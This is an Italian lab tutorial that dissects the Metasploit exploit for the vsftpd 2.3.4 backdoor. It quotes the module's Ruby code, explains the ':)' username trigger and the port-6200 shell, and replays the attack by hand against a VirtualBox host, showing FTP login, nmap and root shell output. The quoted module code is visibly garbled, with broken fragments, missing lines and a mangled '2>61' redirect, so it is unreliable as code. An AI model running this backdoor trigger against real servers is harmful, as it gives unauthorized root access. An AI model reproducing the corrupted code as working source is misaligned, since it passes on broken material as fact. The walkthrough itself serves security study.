Codice vsftpd 2.3.4 - Replica Manuale

Codice vsftpd 2.3.4 - Replica Manuale

Esplorazione del Codice dell'Exploit in Metasploit

Avvia Metasploit e carica il modulo dell'exploit:

msfconsole

1. Cerca il modulo:

search vsftpd backdoor

2. Utilizza il modulo:

use exploit/unix/ftp/vsftpd 234 backdoor

```
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
```

3. Esplora il codice:

Per visualizzare il codice sorgente dell'exploit, utilizza il comando edit (Metasploit ti aprirà l'editor):

Analisi del codice

1. Dichiarazione della Classe MetasploitModule:

```
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::Tcp</pre>
```

2. Inizializzazione

- La **funzione** <u>initialize</u> imposta le informazioni del modulo, come il nome, la descrizione, gli autori, i riferimenti, le piattaforme supportate e la configurazione del payload.
- La vulnerabilità sfruttata è legata alla backdoor che si trovava nella versione vsftpd 2.3.4.
- RPORT (21) è registrato come parametro predefinito per la porta del servizio FTP (porta 21).

3. Funzione exploit

Funzione exploit:

```
register_options([ Opt::RPORT(21) ])
def exploit
     print_status("The port used by the backdoor bind listener is already open")
handle_backdoor(nsock)
     f nsock
print_status("T
  connect
  banner = sock.get_once(-1, 30).to_s
print_status("Banner: #{banner.strip}")
   sock.put("USER #{rand_text_alphanumeric(rand(6)+1)}:)\r\n")
  resp = sock.get_once(-1, 30).to_s
print_status("USER: #{resp.strip}")
  if resp =~ /^530 /
   print_error("This server is configured for anonymous only and the backdoor code cannot be reached")
     disconnect
  if resp !~ /^331 /
  print_error("This
                            server did not respond as expected: #{resp.strip}")
     disconnect
   if nsock
     nsock
print_good("Backdoor s
handle_backdoor(nsock)
  disconnect
```

- exploit è la funzione principale che viene eseguita per avviare l'attacco:
 - o Prima, tenta di connettersi al porta 6200 per vedere se la backdoor è già attiva.
 - Se non è attiva, si connette al servizio FTP sulla porta 21 per tentare di stabilire una connessione e inviare i comandi appropriati.
 - Viene inviato un comando USER casuale, seguito da un comando PASS (anche casuale) per cercare di "bypassare" la connessione FTP.
 - Se il server risponde correttamente, si tenta di aprire la backdoor sulla porta 6200.

4. Funzione handle backdoor:

1. Funzione handle backdoor:

```
def handle_backdoor(s)

s.put("id\n")

r = s.get_once(-1, 5).to_s
if r !~ /uid-/
print_error("The service on port 6200 does not appear to be a shell")
disconnect(s)
return
end

print_good("UID: #{r.strip}")

s.put("nohup " + payload.encoded + " >/dev/null 2>61")
handler(s)
end
end
```

- handle backdoor è la funzione che gestisce la sessione sulla backdoor.
 - Dopo aver ottenuto una connessione sulla porta 6200, invia un comando id per ottenere l'ID
 utente del sistema.

- o Se il servizio sulla porta 6200 non risponde come una shell, la connessione viene chiusa.
- Se la shell è presente, invia il payload codificato (payload.encoded), indirizzando l'output a /dev/null.
- o Infine, chiama handler per gestire la sessione una volta che il payload è stato eseguito.

Replicare l'exploit manualmente

1. Connettersi al server FTP:

Esempio con ftp:

ftp 192.168.1.149

2. Login al servizio FTP

3. Attivare la backdoor

```
Connected to 192.168.1.149.

220 (vsFTPd 2.3.4)

Name (192.168.1.149:kali): testuser:}

331 Please specify the password.

Password:

530 Login incorrect.

ftp: Login failed

ftp> exit

221 Goodbye.
```

```
(kali@ kali)-[~]
$ nmap -p 6200 192.168.1.149
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-16 10:28 EST
Nmap scan report for 192.168.1.149
Host is up (0.00024s latency).

PORT STATE SERVICE
6200/tcp open lm-x
MAC Address: 08:00:27:4D:E1:90 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 13.22 seconds
```

```
cd root
ls MFA

Desktop

reset_logs.sh

test_metasploit

vnc.log
```